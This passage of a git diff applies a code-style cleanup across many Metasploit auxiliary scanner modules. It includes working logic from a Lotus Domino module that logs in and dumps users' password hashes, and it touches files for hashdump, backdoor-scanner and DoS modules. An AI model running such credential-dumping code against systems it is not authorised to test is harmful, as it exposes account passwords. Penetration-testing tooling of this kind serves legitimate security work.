user.eql?('') && pass.eql?('') + print_status("#{peer} - Lotus Domino - Trying dump password hashes without credentials") begin res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{$uri}\/$defaultview?Readviewentries", + 'uri' => "#{@uri}\/$defaultview?Readviewentries", }, 25) if res.nil? - print_error("Connection timed out") + print_error('Connection failed') return end - if (res and res.body.to_s =~ /\ 'POST', 'uri' => '/names.nsf?Login', - 'data' => post_data, + 'data' => post_data }, 20) if res.nil? - print_error("http://#{vhost}:#{rport} - Connection timed out") + print_error("#{peer} - Connection timed out") return end - if res and res.code == 302 - if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i) + if res && res.code == 302 + if res.get_cookies =~ /DomAuthSessId=(.*);(.*)/i cookie = "DomAuthSessId=#{$1}" - elsif res.get_cookies.match(/LtpaToken=(.*);(.*)/i) + elsif res.get_cookies =~ /LtpaToken=(.*);(.*)/i cookie = "LtpaToken=#{$1}" else - print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized 302 response") + print_error("#{peer} - Lotus Domino - Unrecognized 302 response") return :abort end - print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL authentication for '#{user}'") - print_status("http://#{vhost}:#{rport} - Lotus Domino - Getting password hashes") - get_views(cookie,$uri) + print_good("#{peer} - Lotus Domino - SUCCESSFUL authentication for '#{user}'") + print_status("#{peer} - Lotus Domino - Getting password hashes") + get_views(cookie, @uri) - elsif (res and res.body.to_s =~ /names.nsf\?Login/) - print_error("http://#{vhost}:#{rport} - Lotus Domino - Authentication error: failed to login as '#{user}'") - return :abort + elsif res && res.body.to_s =~ /names.nsf\?Login/ + print_error("#{peer} - Lotus Domino - Authentication error: failed to login as '#{user}'") + return :abort else - print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response") + print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response") return :abort end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE end - end - def get_views(cookie,uri) - + def get_views(cookie, uri) begin res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}\/$defaultview?Readviewentries", - 'cookie' => cookie, + 'cookie' => cookie }, 25) - if (res and res.body) - max = res.body.scan(/siblings=\"(.*)\"/)[0].join + if res && res.body + max = res.body.scan(/siblings=\"(.*)\"/).first.join - 1.upto(max.to_i) {|i| + 1.upto(max.to_i) do |i| res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}\/$defaultview?Readviewentries&Start=#{i}", - 'cookie' => cookie, + 'cookie' => cookie }, 25) - viewId = res.body.scan(/unid="([^\s]+)"/)[0].join - dump_hashes(viewId,cookie,uri) - } + view_id = res.body.scan(/unid="([^\s]+)"/)[0].join + dump_hashes(view_id, cookie, uri) + end end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE end end - def dump_hashes(view_id,cookie,uri) - + def dump_hashes(view_id, cookie, uri) begin res = send_request_raw({ 'method' => 'GET', 'uri' => "#{uri}\/$defaultview/#{view_id}?OpenDocument", - 'cookie' => cookie, + 'cookie' => cookie }, 25) - if (res and res.body) + if res && res.body short_name = res.body.scan(/ rhost, :port => rport, - :name => "http" + :name => (ssl ? 'https' : 'http') ) report_auth_info( :host => rhost, :port => rport, - :sname => (ssl ? "https" : "http"), + :sname => (ssl ? 'https' : 'http'), :user => short_name, :pass => pass_hash, - :ptype => "domino_hash", - :source_id => domino_svc.id, - :source_type => "service", + :ptype => 'domino_hash', + :source_id => domino_svc.id, + :source_type => 'service', :proof => "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}", :active => true ) end end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE end end end diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb index ba3eef232a..d563a33a9e 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb index f0c187ef91..4b9e235a9a 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index 507192479f..4ef9d4c5cc 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index bede37a4c5..e5ba5fb864 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('STOP_ON_SUCCESS', [false, "Stop guessing when a credential works for a host", true]), OptPort.new('HTTP_PORT', [true, "The HTTP port for the IE ActiveX web client interface", 80]), Opt::RPORT(5920) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/misc/clamav_control.rb b/modules/auxiliary/scanner/misc/clamav_control.rb index a5cea19516..dd31501dac 100644 --- a/modules/auxiliary/scanner/misc/clamav_control.rb +++ b/modules/auxiliary/scanner/misc/clamav_control.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index 4d5b3fa724..c2ab3f9f3b 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb index b16a4cfc06..18b8de5041 100644 --- a/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb +++ b/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(831), OptString.new('FILEPATH', [true, 'The path of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts']) - ], self.class) + ]) end def get_file diff --git a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb index c0a7fc5418..62c63c28c0 100644 --- a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb +++ b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 7601687f18..3d39c7dfd9 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/java/serialization' class MetasploitModule < Msf::Auxiliary @@ -31,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1099) - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/misc/oki_scanner.rb b/modules/auxiliary/scanner/misc/oki_scanner.rb index 8eb2ee4019..b5a7da7d90 100644 --- a/modules/auxiliary/scanner/misc/oki_scanner.rb +++ b/modules/auxiliary/scanner/misc/oki_scanner.rb @@ -5,8 +5,6 @@ # TODO: Split this module into two seperate SNMP and HTTP modules. -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary [ OptPort.new('SNMPPORT', [true, 'The SNMP Port', 161]), OptPort.new('HTTPPORT', [true, 'The HTTP Port', 80]) - ], self.class) + ]) deregister_options('RPORT', 'VHOST') end diff --git a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb index 110244aa82..6ff7ba9077 100644 --- a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb +++ b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PORTS', [true, "Ports to Check","80,8080,443,3460"]), OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]) - ], self.class) + ]) deregister_options('RPORT') diff --git a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb index 8c43197c72..566586330a 100644 --- a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb +++ b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options( [ Opt::RPORT(9000) ], self.class) + register_options( [ Opt::RPORT(9000) ]) end def report_cred(opts) diff --git a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb index ed1d332fd9..dc7fa8dad4 100644 --- a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb +++ b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::CHOST, Opt::RPORT(13364), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb index 8b9ecfc9cb..8ab1f22b2a 100644 --- a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb +++ b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index 0db2dedd06..b33bef9a61 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SunRPC include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb index 25bf30368e..f3be05240e 100644 --- a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb +++ b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(998), OptString.new('FILEPATH', [true, 'The name of the file to download', '\\WINDOWS\\system32\\drivers\\etc\\hosts']), OptInt.new('DEPTH', [true, 'Traversal depth', 6]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index 5240dc8767..bf24b70fa9 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(27017), OptString.new('DB', [ true, "Database to use", "admin"]) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb index 711fe24d98..835524c737 100644 --- a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb +++ b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -25,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(407) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/msf/msf_rpc_login.rb b/modules/auxiliary/scanner/msf/msf_rpc_login.rb index a6288c472b..7a52c31709 100644 --- a/modules/auxiliary/scanner/msf/msf_rpc_login.rb +++ b/modules/auxiliary/scanner/msf/msf_rpc_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [true, "A specific username to authenticate as. Default is msf", "msf"]), OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]), OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) - ], self.class) + ]) register_autofilter_ports([3790]) end diff --git a/modules/auxiliary/scanner/msf/msf_web_login.rb b/modules/auxiliary/scanner/msf/msf_web_login.rb index 485c406829..b41a6a3a23 100644 --- a/modules/auxiliary/scanner/msf/msf_web_login.rb +++ b/modules/auxiliary/scanner/msf/msf_web_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('URILOGIN', [true, "URI for Metasploit Web login. Default is /login", "/login"]), OptString.new('URIGUESS', [true, "URI for Metasploit Web login. Default is /user_sessions", "/user_sessions"]), OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]), - ], self.class) + ]) register_autofilter_ports([55553]) end diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index ee885cadbf..52fb35c651 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 96ff2394cb..cdf12ae6bd 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/mssql' diff --git a/modules/auxiliary/scanner/mssql/mssql_ping.rb b/modules/auxiliary/scanner/mssql/mssql_ping.rb index a15b4936ba..7b1bea8d8e 100644 --- a/modules/auxiliary/scanner/mssql/mssql_ping.rb +++ b/modules/auxiliary/scanner/mssql/mssql_ping.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index d6145d54e0..d13f1ef7d5 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'yaml' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb index 467a411311..20d1ae1c4e 100644 --- a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MYSQL @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary deregister_options('PASSWORD') register_options( [ OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ]) - ], self.class ) + ]) end diff --git a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb index 651777c43e..42e044f12f 100644 --- a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb +++ b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'yaml' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb index 001db59de4..619d67168f 100644 --- a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MYSQL diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index 96df43e074..de9e050c0a 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/mysql' @@ -31,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::Proxies - ], self.class) + ]) end def target diff --git a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb index 18553d0c99..9d0f584066 100644 --- a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'yaml' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/mysql/mysql_version.rb b/modules/auxiliary/scanner/mysql/mysql_version.rb index 7b7ac8b677..baf18433be 100644 --- a/modules/auxiliary/scanner/mysql/mysql_version.rb +++ b/modules/auxiliary/scanner/mysql/mysql_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb b/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb index 2c335779e5..326c3812b6 100644 --- a/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb +++ b/modules/auxiliary/scanner/mysql/mysql_writable_dirs.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MYSQL diff --git a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb index c549f03e37..814f31b35b 100644 --- a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb +++ b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]) - ], self.class) + ]) end def run_host(host) diff --git a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb index c9e8f5bb7b..a7171f4d01 100644 --- a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb @@ -6,8 +6,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -26,13 +24,13 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(1241), OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]) - ], self.class) + ]) register_advanced_options( [ OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]), OptString.new('SSLVersion', [ true, " Specify the version of SSL that should be used", "TLS1"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/nessus/nessus_rest_login.rb b/modules/auxiliary/scanner/nessus/nessus_rest_login.rb index 9cd685fe35..92182ead98 100644 --- a/modules/auxiliary/scanner/nessus/nessus_rest_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_rest_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/nessus' require 'metasploit/framework/credential_collection' @@ -31,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(8834), OptString.new('TARGETURI', [ true, 'The path to the Nessus server login API', '/session']), - ], self.class) + ]) deregister_options('HttpUsername', 'HttpPassword') end diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb index 295fe10f58..a5b1ae5a01 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb @@ -7,8 +7,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8834), OptString.new('URI', [true, "URI for Nessus XMLRPC login. Default is /login", "/login"]), OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb index aab6e9f514..fff1353373 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb @@ -7,8 +7,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8834), OptInt.new('THREADS', [true, "The number of concurrent threads", 25]), OptString.new('URI', [true, "URI for Nessus XMLRPC. Default is /", "/"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/netbios/nbname.rb b/modules/auxiliary/scanner/netbios/nbname.rb index fa88313e53..0d8991c280 100644 --- a/modules/auxiliary/scanner/netbios/nbname.rb +++ b/modules/auxiliary/scanner/netbios/nbname.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(137) - ], self.class) + ]) end def scanner_prescan(batch) diff --git a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb index 85d3d81a91..eaa2308f98 100644 --- a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb +++ b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb @@ -7,8 +7,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(3780), OptString.new('URI', [true, "URI for NeXpose API. Default is /api/1.1/xml", "/api/1.1/xml"]), OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/nfs/nfsmount.rb b/modules/auxiliary/scanner/nfs/nfsmount.rb index aebc979928..10a0c07517 100644 --- a/modules/auxiliary/scanner/nfs/nfsmount.rb +++ b/modules/auxiliary/scanner/nfs/nfsmount.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb index a1cc544140..6bdc805879 100644 --- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb +++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -38,12 +36,12 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('RETRY', [false, "Number of tries to query the NTP server", 3]), OptBool.new('SHOW_LIST', [false, 'Show the recent clients list', false]) - ], self.class) + ]) register_advanced_options( [ OptBool.new('StoreNTPClients', [true, 'Store NTP clients as host records in the database', false]) - ], self.class) + ]) end # Called for each response packet diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index 3c9fd1e670..d7ebcb3790 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptInt.new('OFFSET', [true, "Offset from local time, in seconds", 300]) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb index ed78121c35..2c12582f45 100644 --- a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb index 47e78484c0..1b112322bf 100644 --- a/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_sum_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff 